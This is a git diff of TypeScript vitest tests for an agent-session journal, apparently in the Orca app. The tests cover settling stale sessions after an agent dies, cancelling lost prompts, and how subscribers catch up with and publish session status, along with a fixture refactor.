expect(settle({ ...olderBuildProof, kind: 'exit-observed' })).resolves.toBe(0) + expect(journal.cursor()).toEqual(unrevised) + expect(turn()).toMatchObject({ state: 'unverifiable' }) + + await expect(settle(PROVEN)).resolves.toBe(2) + expect(turn()).toEqual({ + turnId: 'turn-2', + state: 'interrupted', + startedAt: 100, + completedAt: 100 + }) + const revised = journal.cursor() + await expect(settle(PROVEN)).resolves.toBe(0) + expect(journal.cursor()).toEqual(revised) + expect(journal.snapshot().items.filter((item) => item.body.kind === 'status')).toHaveLength(1) + } finally { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + } +}) + +it('adds one row for a death however many attempts its settle takes to write', async () => { + const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) + const journals = createTrackedJournalOpener({ legacyInputs: true }) + let now = 100 + try { + const journal = await journals.open({ + identity: { + sessionId: 'session-1', + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle(THREAD) + }, + stateDirectory: root, + now: () => now + }) + for (let index = 0; index < 399; index++) { + const turnId = `turn-${index}` + await journal.appendItem( + { ...RUNNING_IDENTITY, turnId }, + { kind: 'turn', turnId, state: 'running', startedAt: 100 }, + { fence: 1, turnScope: turnScopeOf({ ...RUNNING_IDENTITY, turnId }) } + ) + } + now = 9_000 + const settle = () => + settleStaleStructuredAgentSessionState({ + journal, + sessionId: 'session-1', + fence: 2, + acquisitionGeneration: null, + deathEvidence: PROVEN + }) + const turns = () => + journal.snapshot().items.flatMap((item) => readAgentJournalTurn(item.body) ?? []) + const statusRows = () => journal.snapshot().items.filter((item) => item.body.kind === 'status') + const database = openTestJournalHostDatabase(root) + const cursor = journal.cursor() + database.db.exec(`CREATE TEMP TRIGGER reject_later_stale_settlement + BEFORE INSERT ON journal_rows + WHEN NEW.session_id = 'session-1' AND NEW.seq > ${cursor.sequence + 1} + AND json_extract(NEW.row_json, '$.recovered') = 1 + BEGIN SELECT RAISE(ABORT, 'disk full'); END`) + + await expect(settle()).rejects.toThrow('disk full') + database.db.exec('DROP TRIGGER reject_later_stale_settlement') + expect(journal.cursor()).toEqual(cursor) + expect(turns().filter((turn) => turn.state === 'running')).toHaveLength(399) + expect(statusRows()).toHaveLength(0) + + await settle() + expect(turns().filter((turn) => turn.state !== 'interrupted')).toEqual([]) + expect(statusRows()).toHaveLength(1) + } finally { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + } +}) + +it('writes nothing when no turn is running and keys on the journal position without a generation', async () => { + const idle = journalWith([ + lifecycleItem('turn-1', 'completed', 1, { startedAt: 10, completedAt: 20 }) + ]) + await expect( + settleStaleStructuredAgentSessionState({ + journal: idle.journal, + sessionId: 'session-1', + fence: 14, + acquisitionGeneration: null, + deathEvidence: null + }) + ).resolves.toBe(0) + expect(idle.appendLifecycleBatch).not.toHaveBeenCalled() + + const running = journalWith([lifecycleItem('turn-2', 'running', 2)]) + await settleStaleStructuredAgentSessionState({ + journal: running.journal, + sessionId: 'session-1', + fence: 14, + acquisitionGeneration: null, + deathEvidence: null + }) + expect(running.appendLifecycleBatch).toHaveBeenCalledWith( + expect.objectContaining({ settlementId: 'stale-session:session-1:14:seq-8' }) + ) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-prompts.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-prompts.test.ts new file mode 100644 index 00000000000..6506e8a4326 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-prompts.test.ts @@ -0,0 +1,250 @@ +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { expect, it } from 'vitest' +import type { AgentSessionDeathEvidence } from '../../../shared/agent-session-record' +import { readAgentJournalTurn } from '../../../shared/agent-session-turn-record' +import { createTrackedJournalOpener } from '../agent-session-journal/journal-host-database-test-support' +import { settleStaleStructuredAgentSessionState } from './structured-agent-session-dead-generation-settlement' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' + +import { + RUNNING_IDENTITY, + THREAD, + journalWith, + promptItem, + turnScopeOf +} from './structured-agent-session-stale-verdict-contract-test-fixture' + +it('cancels only prompts whose callbacks were lost with the prior owner', async () => { + const pending = promptItem('pending', 1) + const resolved = promptItem('resolved', 2) + const { journal, appendLifecycleBatch } = journalWith([pending, resolved]) + + await expect( + settleStaleStructuredAgentSessionState({ + journal, + sessionId: 'session-1', + fence: 14, + acquisitionGeneration: 'generation-2', + deathEvidence: null + }) + ).resolves.toBe(1) + + expect(appendLifecycleBatch).toHaveBeenCalledExactlyOnceWith({ + settlementId: 'stale-session:session-1:14:generation-2', + fence: 14, + recovered: true, + dispatches: [], + mutations: [ + { + kind: 'item', + itemId: pending.itemId, + body: { + ...pending.body, + resolution: { + state: 'cancelled', + selectedOptionId: null, + resolvedBy: null, + resolvedAt: null + } + }, + turnScope: { kind: 'thread' } + } + ] + }) +}) + +it("cancels a subagent's lost prompt as the subagent's, and the session's own as its own", async () => { + // Producer-free cancellation revisions must retain original attribution. + const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) + const journals = createTrackedJournalOpener({ legacyInputs: true }) + try { + const journal = await journals.open({ + identity: { + sessionId: 'session-1', + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle(THREAD) + }, + stateDirectory: root, + now: () => 1_000 + }) + const child = { agentId: 'thread-child', producerKind: 'agent' as const } + const { body } = promptItem('pending', 1) + const prompt = (threadId: string) => ({ + provider: 'codex' as const, + threadId, + turnId: 'turn-1', + ordinal: 1 + }) + await journal.appendItem(prompt('thread-child'), body, { + fence: 1, + ...child, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await journal.appendItem(prompt(THREAD), body, { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + + await settleStaleStructuredAgentSessionState({ + journal, + sessionId: 'session-1', + fence: 2, + acquisitionGeneration: 'generation-2', + deathEvidence: null + }) + + expect( + journal.snapshot().items.map((item) => [item.body.kind, item.revision, item.agentId]) + ).toEqual([ + ['approval', 2, 'thread-child'], + ['approval', 2, undefined] + ]) + } finally { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + } +}) + +it('uses provider output after a renewal, excluding a later client message', async () => { + const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) + const journals = createTrackedJournalOpener({ legacyInputs: true }) + let now = 100 + try { + const journal = await journals.open({ + identity: { + sessionId: 'session-1', + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle(THREAD) + }, + stateDirectory: root, + now: () => now + }) + const command = { provider: 'codex' as const, threadId: THREAD, turnId: 'turn-1', ordinal: 1 } + const shell = { kind: 'tool-call' as const, name: 'shell', input: { command: 'pnpm test' } } + const turnScope = turnScopeOf({ ...command, ordinal: 0 }) + await journal.appendItem( + { ...command, ordinal: 0 }, + { kind: 'turn', turnId: 'turn-1', state: 'running', startedAt: 100 }, + { fence: 1, turnScope } + ) + now = 200 + await journal.appendItem(command, { ...shell, state: 'running' }, { fence: 1, turnScope }) + // Provider output can prove life after lease renewal. + now = 700 + await journal.appendItem( + command, + { ...shell, input: { command: 'pnpm test', streamed: 'ok' }, state: 'running' }, + { fence: 1, turnScope } + ) + now = 800 + await journal.appendItem( + { provider: 'orca', clientMessageId: 'late-send' }, + { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'next task' }] }, + { fence: 1, turnScope } + ) + now = 9_000 + + await settleStaleStructuredAgentSessionState({ + journal, + sessionId: 'session-1', + fence: 2, + acquisitionGeneration: 'generation-2', + deathEvidence: { + kind: 'pid-absent', + detail: 'recorded pid absent on host', + observedAt: 9_000, + ownerFence: 1, + lastProvenAliveAt: 650 + } + }) + + const items = journal.snapshot().items + expect(items.map((item) => readAgentJournalTurn(item.body)).find(Boolean)).toMatchObject({ + state: 'interrupted', + completedAt: 700 + }) + expect(items.flatMap((item) => (item.body.kind === 'status' ? [item.body.text] : []))).toEqual([ + 'The agent stopped while this response was in progress. You can continue in this conversation.' + ]) + } finally { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + } +}) + +it('ends a crashed turn at its last proof of life, not at a send accepted before the proof', async () => { + const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) + const journals = createTrackedJournalOpener({ legacyInputs: true }) + let now = 100 + try { + const journal = await journals.open({ + identity: { + sessionId: 'session-1', + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle(THREAD) + }, + stateDirectory: root, + now: () => now + }) + await journal.appendItem( + RUNNING_IDENTITY, + { kind: 'turn', turnId: 'turn-2', state: 'running', startedAt: 100 }, + { fence: 1, turnScope: turnScopeOf(RUNNING_IDENTITY) } + ) + now = 200 + await journal.appendItem( + { ...RUNNING_IDENTITY, ordinal: 1 }, + { kind: 'tool-call', name: 'shell', input: { command: 'pnpm test' }, state: 'running' }, + { fence: 1, turnScope: turnScopeOf(RUNNING_IDENTITY) } + ) + const settle = (deathEvidence: AgentSessionDeathEvidence | null) => + settleStaleStructuredAgentSessionState({ + journal, + sessionId: 'session-1', + fence: 1, + acquisitionGeneration: null, + deathEvidence + }) + now = 3_600_000 + await settle(null) + const turn = () => journal.snapshot().items.map((item) => readAgentJournalTurn(item.body))[0] + expect(turn()).toMatchObject({ state: 'unverifiable' }) + now = 3_605_000 + await journal.appendSubmission({ + clientMessageId: 'send-1', + payloadFingerprint: 'fingerprint-1', + body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'still there?' }] }, + fence: 1, + handoverRecorded: true + }) + await journal.resolveDispatch({ + clientMessageId: 'send-1', + state: 'pending', + turnScope: AGENT_JOURNAL_THREAD_SCOPE, + fence: 1 + }) + now = 3_606_000 + + await settle({ + kind: 'pid-absent', + detail: 'gone', + observedAt: 3_606_000, + ownerFence: 1, + lastProvenAliveAt: 210 + }) + + expect(turn()).toMatchObject({ state: 'interrupted', completedAt: 210 }) + } finally { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + } +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-stop-event.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-stop-event.test.ts index c7ee7dcb14c..4178893ea74 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-stop-event.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-stop-event.test.ts @@ -29,13 +29,8 @@ function journal() { } function stopEvents(): JournalStopEvent[] { - const since = journal().readSince({ epoch: journal().epoch, sequence: 0 }) - if (!since.ok) { - throw new Error(`expected rows, got reset ${since.reset}`) - } - return since.rows.flatMap((row) => - row.kind === 'tombstone' && row.stopEvent ? [row.stopEvent] : [] - ) + const mark = journal().stopMarks.latest() + return mark ? [mark.event] : [] } async function turnRow(turnId: string, state: 'running' | 'interrupted', userId?: string) { diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-stop-receipts.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-stop-receipts.test.ts index 795498bb306..89adad2dd81 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-stop-receipts.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-stop-receipts.test.ts @@ -64,13 +64,8 @@ it('does not treat completed submission history as a send in an empty reinitiali }) function stopEvents(): { sequence: number; event: JournalStopEvent }[] { - const since = journal().readSince({ epoch: journal().epoch, sequence: 0 }) - if (!since.ok) { - throw new Error(`expected rows, got reset ${since.reset}`) - } - return since.rows.flatMap((row) => - row.kind === 'tombstone' && row.stopEvent ? [{ sequence: row.seq, event: row.stopEvent }] : [] - ) + const mark = journal().stopMarks.latest() + return mark ? [{ sequence: mark.sequence, event: mark.event }] : [] } async function turnRow(turnId: string, state: 'running' | 'interrupted'): Promise { diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-contract-test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-contract-test-fixture.ts new file mode 100644 index 00000000000..2c978924622 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-contract-test-fixture.ts @@ -0,0 +1,29 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach } from 'vitest' +import { createTrackedJournalOpener } from '../agent-session-journal/journal-host-database-test-support' + +export const SESSION = 'subscriber-session' + +let root: string + +export const journals = createTrackedJournalOpener({ legacyInputs: true }) + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-agent-subscribers-')) +}) + +afterEach(async () => { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) +}) + +export const fixture = { + get root() { + return root + }, + set root(value: typeof root) { + root = value + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-oversized-removal.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-oversized-removal.test.ts new file mode 100644 index 00000000000..89bd9238006 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-oversized-removal.test.ts @@ -0,0 +1,108 @@ +import { join } from 'node:path' +import { expect, it } from 'vitest' +import { AGENT_SESSION_JOURNAL_SCHEMA_VERSION } from '../../../shared/agent-session-journal-types' +import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' +import { + REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES, + serializeRemoteRuntimePayload +} from '../../../shared/remote-runtime/remote-runtime-memory-limits' +import type { JournalRow } from '../agent-session-journal/journal-row-schema' +import { + openTestJournalHostDatabase, + insertTestJournalRow +} from '../agent-session-journal/journal-host-database-test-support' +import { AgentSessionSubscribers } from './structured-agent-session-subscribers' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' + +import { + fixture, + SESSION, + journals +} from './structured-agent-session-subscriber-contract-test-fixture' + +it('catches a subscriber up past a pre-existing unsendable removal with a bounded reset', async () => { + const journalDir = join(fixture.root, 'oversized-removal-journal') + const seeded = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: journalDir + }) + // A legacy removal ID exceeds the outbound cap alone, making catch-up impossible. + const hugeItemId = `codex:thread-1:${'h'.repeat(5 * 1024 * 1024)}:1` + const resumeCursor = seeded.cursor() + const seq = resumeCursor.sequence + const rows: JournalRow[] = [ + { + kind: 'item', + itemId: hugeItemId, + revision: 1, + body: { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: 'big' }] }, + v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, + epoch: seeded.epoch, + seq: seq + 1, + fence: 1, + ts: 2_000 + }, + { + kind: 'tombstone', + itemId: hugeItemId, + revision: 2, + v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, + epoch: seeded.epoch, + seq: seq + 2, + fence: 1, + ts: 2_001 + } + ] + // Direct writes model legacy persisted rows. + await seeded.close() + const opened = openTestJournalHostDatabase(journalDir) + try { + opened.db.exec('BEGIN IMMEDIATE') + for (const row of rows) { + insertTestJournalRow(opened.db, SESSION, row) + } + opened.db.exec('COMMIT') + } finally { + await opened.close() + } + const journal = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: journalDir + }) + + const subscribers = new AgentSessionSubscribers() + const events: AgentSessionSubscribeEvent[] = [] + subscribers.open({ + id: 'subscriber-1', + sessionId: SESSION, + journal, + fence: 1, + cursor: resumeCursor, + emit: (event) => events.push(event) + }) + + for (const event of events) { + expect(Buffer.byteLength(serializeRemoteRuntimePayload(event), 'utf8')).toBeLessThanOrEqual( + REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES + ) + } + const reset = events.find((event) => event.type === 'reset') + expect(reset).toBeDefined() + + // Reset must advance past the unsendable row so later publications make progress. + const settled = events.length + subscribers.publish(SESSION, journal) + expect(events.slice(settled).filter((event) => event.type === 'reset')).toEqual([]) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-publication.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-publication.test.ts new file mode 100644 index 00000000000..96ea49631c1 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-subscriber-publication.test.ts @@ -0,0 +1,214 @@ +import { join } from 'node:path' +import { expect, it } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import type { + AgentSessionBackgroundTaskState, + AgentSessionStatusEvent, + AgentSessionSubscribeEvent +} from '../../../shared/agent-session-wire' +import { StructuredAgentSessionStatusFeed } from './structured-agent-session-status-feed' +import { AgentSessionSubscribers } from './structured-agent-session-subscribers' +import { createStructuredAgentSessionLogger } from './structured-agent-session-logger' +import { + claudeProviderHandle, + codexProviderHandle +} from '../../../shared/agent-session-provider-handle-encoding' + +import { + fixture, + SESSION, + journals +} from './structured-agent-session-subscriber-contract-test-fixture' + +it('reports every content publication to the journal hook, subscribed or not', async () => { + const journal = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: join(fixture.root, 'hook-journal') + }) + const published: string[] = [] + const subscribers = new AgentSessionSubscribers({ + onJournalPublished: (sessionId, published_journal) => { + expect(published_journal).toBe(journal) + published.push(sessionId) + } + }) + + subscribers.publish(SESSION, journal) + subscribers.snapshot(SESSION, journal, 1) + + expect(published).toEqual([SESSION, SESSION]) +}) + +it('settles a session nobody is reading, from running to idle', async () => { + // Never open a subscriber: status must publish independently of transcript readers. + const journal = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: join(fixture.root, 'unread-journal') + }) + const statusFeed = new StructuredAgentSessionStatusFeed({ + logger: createStructuredAgentSessionLogger(), + sessions: new Map([ + [ + SESSION, + { + journal, + params: { + location: { + executionHostId: 'local', + wslDistro: null, + workspaceId: 'workspace-1', + workspaceKind: 'git-worktree' + }, + provider: 'codex' + } + } + ] + ]), + getConversation: () => null, + now: () => 1_000 + }) + const subscribers = new AgentSessionSubscribers({ + onJournalPublished: (sessionId, published) => statusFeed.publish(sessionId, published) + }) + const statuses: AgentSessionStatusEvent[] = [] + statusFeed.subscribe({ id: 'session-list', emit: (event) => statuses.push(event) }) + const turn = { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal: 0 } as const + + await journal.appendItem( + { ...turn, ordinal: 1 }, + { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'write a poem' }] }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + await journal.appendItem( + turn, + { kind: 'status', text: 'Working', turnLifecycle: { turnId: 'turn-1', state: 'running' } }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + subscribers.publish(SESSION, journal) + + expect(statuses.at(-1)).toEqual({ + type: 'status', + session: expect.objectContaining({ status: 'working', latestPrompt: 'write a poem' }) + }) + + await journal.appendTombstone(turn, { fence: 1 }) + subscribers.publish(SESSION, journal) + + expect(statuses.at(-1)).toEqual({ + type: 'status', + session: expect.objectContaining({ status: 'idle' }) + }) +}) + +it('publishes background lifecycle without advancing the journal and carries its fence forward', async () => { + const journal = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'claude', + providerHandle: claudeProviderHandle('provider-1', null) + }, + stateDirectory: join(fixture.root, 'background-journal') + }) + let roster: AgentSessionBackgroundTaskState | null = null + const subscribers = new AgentSessionSubscribers({ readBackgroundTasks: () => roster }) + const events: AgentSessionSubscribeEvent[] = [] + subscribers.open({ + id: 'subscriber-1', + sessionId: SESSION, + journal, + fence: 1, + emit: (event) => events.push(event) + }) + const cursor = journal.cursor() + + const backgroundTasks: AgentSessionBackgroundTaskState = { + state: 'monitoring', + tasks: [{ id: 'task-1', kind: 'command', description: 'run the build' }] + } + roster = backgroundTasks + subscribers.republishBackgroundTasks(SESSION, 2) + + expect(journal.cursor()).toEqual(cursor) + expect(events.at(-1)).toEqual({ + type: 'batch', + sessionId: SESSION, + batch: { cursor, items: [], removedItemIds: [], submissions: [] }, + fence: 2, + hostNow: expect.any(Number), + backgroundTasks + }) + + await journal.appendItem( + { provider: 'orca', clientMessageId: 'after-background-fence' }, + { kind: 'status', text: 'After background state' }, + { fence: 2, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + subscribers.publish(SESSION, journal) + + expect(events.at(-1)).toMatchObject({ type: 'batch', fence: 2 }) +}) + +it('publishes latest turn activity without advancing or adding journal rows', async () => { + const journal = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: join(fixture.root, 'activity-journal') + }) + const subscribers = new AgentSessionSubscribers() + const events: AgentSessionSubscribeEvent[] = [] + subscribers.open({ + id: 'subscriber-1', + sessionId: SESSION, + journal, + fence: 1, + emit: (event) => events.push(event) + }) + const cursor = journal.cursor() + + subscribers.publish(SESSION, journal, { + turnId: 'turn-1', + text: 'Inspecting the session wire' + }) + + expect(journal.cursor()).toEqual(cursor) + expect(events.at(-1)).toEqual({ + type: 'batch', + sessionId: SESSION, + batch: { cursor, items: [], removedItemIds: [], submissions: [] }, + fence: 1, + hostNow: expect.any(Number), + activity: { turnId: 'turn-1', text: 'Inspecting the session wire' } + }) + + subscribers.close(SESSION, 'subscriber-1') + subscribers.publish(SESSION, journal, null) + subscribers.open({ + id: 'reconnected', + sessionId: SESSION, + journal, + fence: 1, + cursor, + emit: (event) => events.push(event) + }) + expect(journal.cursor()).toEqual(cursor) + expect(events.at(-1)).toMatchObject({ activity: null }) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-subscribers.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-subscribers.test.ts index 92983d8e23f..8afeba00828 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-subscribers.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-subscribers.test.ts @@ -1,561 +1,250 @@ -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { - AGENT_JOURNAL_THREAD_SCOPE, - AGENT_SESSION_JOURNAL_SCHEMA_VERSION -} from '../../../shared/agent-session-journal-types' +import { expect, it, vi } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' import type { AgentSessionBackgroundTaskState, - AgentSessionStatusEvent, AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' -import { - REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES, - serializeRemoteRuntimePayload -} from '../../../shared/remote-runtime/remote-runtime-memory-limits' -import type { JournalRow } from '../agent-session-journal/journal-row-schema' -import { - createTrackedJournalOpener, - openTestJournalHostDatabase, - insertTestJournalRow -} from '../agent-session-journal/journal-host-database-test-support' -import * as journalReducer from '../agent-session-journal/journal-reducer' import { StructuredAgentSessionCurrentWork } from './structured-agent-session-current-work' import { StructuredAgentSessionJournalProjections } from './structured-agent-session-status-journal-projection' -import { StructuredAgentSessionStatusFeed } from './structured-agent-session-status-feed' import { MAX_RETAINED_SESSION_ACTIVITIES } from './structured-agent-session-activity-retention' import { AgentSessionSubscribers } from './structured-agent-session-subscribers' -import { createStructuredAgentSessionLogger } from './structured-agent-session-logger' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import * as journalReducer from '../agent-session-journal/journal-reducer' + import { - claudeProviderHandle, - codexProviderHandle -} from '../../../shared/agent-session-provider-handle-encoding' + fixture, + SESSION, + journals +} from './structured-agent-session-subscriber-contract-test-fixture' -const SESSION = 'subscriber-session' - -let root: string -const journals = createTrackedJournalOpener() - -beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-agent-subscribers-')) -}) - -afterEach(async () => { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) -}) - -describe('AgentSessionSubscribers', () => { - it('renders history once per source for N/10N items and one/three readers', async () => { - const render = vi.spyOn(journalReducer, 'renderJournalState') - try { - for (const size of [100, 1000]) { - for (const readers of [1, 3]) { - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: join(root, `${size}-${readers}`) - }) - const options = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - const identity = (ordinal: number) => ({ - provider: 'codex' as const, - threadId: 'thread-1', - turnId: 'turn', - ordinal - }) - const body = (text: string) => ({ - kind: 'message' as const, - role: 'assistant' as const, - blocks: [{ type: 'text' as const, text }] - }) - for (let index = 0; index < size; index++) { - await journal.appendItem(identity(index), body('initial'), options) +it('renders history once per source for N/10N items and one/three readers', async () => { + const render = vi.spyOn(journalReducer, 'renderJournalState') + try { + for (const size of [100, 1000]) { + for (const readers of [1, 3]) { + const journal = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: join(fixture.root, `${size}-${readers}`) + }) + const options = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + const identity = (ordinal: number) => ({ + provider: 'codex' as const, + threadId: 'thread-1', + turnId: 'turn', + ordinal + }) + const body = (text: string) => ({ + kind: 'message' as const, + role: 'assistant' as const, + blocks: [{ type: 'text' as const, text }] + }) + for (let index = 0; index < size; index++) { + await journal.appendItem(identity(index), body('initial'), options) + } + const projections = new StructuredAgentSessionJournalProjections() + const events: AgentSessionSubscribeEvent[] = [] + const subscribers = new AgentSessionSubscribers({ + readCurrentWork: () => new StructuredAgentSessionCurrentWork(journal, 1, 0), + onJournalPublished: () => { + projections.read(journal, null) } - const projections = new StructuredAgentSessionJournalProjections() - const events: AgentSessionSubscribeEvent[] = [] - const subscribers = new AgentSessionSubscribers({ - readCurrentWork: () => new StructuredAgentSessionCurrentWork(journal, 1, 0), - onJournalPublished: () => { - projections.read(journal, null) - } + }) + for (let index = 0; index < readers; index++) { + subscribers.open({ + id: String(index), + sessionId: SESSION, + journal, + fence: 1, + boundedFrames: index === 1, + emit: (event) => events.push(event) }) - for (let index = 0; index < readers; index++) { - subscribers.open({ - id: String(index), - sessionId: SESSION, - journal, - fence: 1, - boundedFrames: index === 1, - emit: (event) => events.push(event) - }) - } + } + subscribers.publish(SESSION, journal) + for (const text of ['streamed', 'newer']) { + const prior = journal.snapshot() + await journal.appendItem(identity(size - 1), body(text), options) + render.mockClear() + events.length = 0 subscribers.publish(SESSION, journal) - for (const text of ['streamed', 'newer']) { - const prior = journal.snapshot() - await journal.appendItem(identity(size - 1), body(text), options) - render.mockClear() - events.length = 0 - subscribers.publish(SESSION, journal) - expect(render).toHaveBeenCalledTimes(1) - const current = journal.snapshot() - expect(current).not.toBe(prior) - expect(current.items).toHaveLength(size) - expect(current.items.at(-1)?.body).toEqual(body(text)) - expect(journal.publicRead().snapshot).toBe(current) - expect(events.filter((event) => event.type === 'batch')).toHaveLength(readers) - expect( - events - .flatMap((event) => (event.type === 'batch' ? event.batch.items : [])) - .map((item) => item.body) - ).toEqual(Array.from({ length: readers }, () => body(text))) - expect(render).toHaveBeenCalledTimes(1) - } + expect(render).toHaveBeenCalledTimes(1) + const current = journal.snapshot() + expect(current).not.toBe(prior) + expect(current.items).toHaveLength(size) + expect(current.items.at(-1)?.body).toEqual(body(text)) + expect(journal.publicRead().snapshot).toBe(current) + expect(events.filter((event) => event.type === 'batch')).toHaveLength(readers) + expect( + events + .flatMap((event) => (event.type === 'batch' ? event.batch.items : [])) + .map((item) => item.body) + ).toEqual(Array.from({ length: readers }, () => body(text))) + expect(render).toHaveBeenCalledTimes(1) } } - } finally { - render.mockRestore() } + } finally { + render.mockRestore() + } +}) + +it('bounds retained turn activity across session churn', async () => { + const journal = await journals.open({ + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: join(fixture.root, 'activity-churn-journal') }) - - it('bounds retained turn activity across session churn', async () => { - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: join(root, 'activity-churn-journal') - }) - const subscribers = new AgentSessionSubscribers() - - for (let index = 0; index < MAX_RETAINED_SESSION_ACTIVITIES + 4; index += 1) { - subscribers.publish(`session-${index}`, journal, { turnId: `turn-${index}`, text: 'working' }) - } + const subscribers = new AgentSessionSubscribers() - expect(subscribers.retainedActivityCountForTests).toBe(MAX_RETAINED_SESSION_ACTIVITIES) - }) + for (let index = 0; index < MAX_RETAINED_SESSION_ACTIVITIES + 4; index += 1) { + subscribers.publish(`session-${index}`, journal, { turnId: `turn-${index}`, text: 'working' }) + } - it('publishes the current fence when a resumed cursor is already caught up', async () => { - const journal = await journals.open({ - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: join(root, 'checkpoint-journal') - }) - const events: AgentSessionSubscribeEvent[] = [] + 